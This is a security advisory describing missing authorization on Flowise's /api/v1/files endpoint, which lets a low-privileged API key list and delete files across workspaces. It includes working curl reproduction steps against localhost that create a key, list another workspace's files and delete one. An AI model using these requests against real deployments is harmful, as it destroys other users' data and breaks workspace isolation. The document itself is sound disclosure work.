Flowise: Missing authorization on `/api/v1/files` allows low-privileged API keys to list and delete files across workspaces within the same organization

summary:

In Flowise, the /api/v1/files route is protected only by the feat:files feature gate and does not enforce checkPermission(...) on either GET or DELETE. As a result, any authenticated API key within the organization, even one with unrelated permissions, can list and delete files belonging to other workspaces in the same organization.

details:

The /files route is mounted with IdentityManager.checkFeatureByPlan('feat:files') only and has no additional permission middleware. In the controller:

• getAllFiles uses only req.user.activeOrganizationId and calls getFilesListFromStorage(activeOrganizationId), which recursively lists files under the organization storage root
• deleteFile reads activeWorkspaceId, but only uses it for storage quota bookkeeping; the actual deletion is performed using activeOrganizationId + user-controlled path

As a result, the API key’s permissions and activeWorkspaceId are not used to restrict file access.
In the local test environment,an API key bound to workspace 1592b32a-a11b-4996-80b6-e1c4c2969d88 with only ["tools:view"] was created, then successfully:

• called GET /api/v1/files and received 200 OK
• listed a test file stored under a different workspace, f92a9a4d-392e-4db2-af82-d14e1d553446
• called DELETE /api/v1/files?path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt and received 200 OK
• confirmed the file was removed by re-querying the file list

impact:

Any low-privileged API key holder within the same organization can list and delete files from other workspaces without any file-specific permission. This breaks workspace isolation inside the organization and can lead to unauthorized file access and destructive tampering.

reproduction steps:

1. Log in as a user who can create API keys, and create a key with only an unrelated permission, for example:

curl -i -b tamako.cookie \
  -H 'x-request-from: internal' \
  -H 'Content-Type: application/json' \
  -d '{"keyName":"poc-files-noperm","permissions":["tools:view"]}' \
  http://localhost:8080/api/v1/apikey

2. Record the returned API key. In my local test, the key was:

• ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E

3. Prepare a test file under a different workspace within the same organization, for example:

• f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt

4. Use the low-privileged API key to list files:

curl -i \
  -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
  http://localhost:8080/api/v1/files

5. Observe a 200 OK response that includes a file from another workspace, for example:

[{"name":"poc-cross-workspace.txt","path":"f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt","size":19}]

6. Use the same API key to delete that file:

curl -i -X DELETE --get \
  -H 'Authorization: Bearer ykT6h4Q-u2PZDJmy2kMLWWKL_N42u8mHfYSvHC5Ja0E' \
  --data-urlencode 'path=f92a9a4d-392e-4db2-af82-d14e1d553446/poc-cross-workspace.txt' \
  http://localhost:8080/api/v1/files

7. Observe a 200 OK response:

{"message":"file_deleted"}

8. Call GET /api/v1/files again and confirm that the file is no longer present.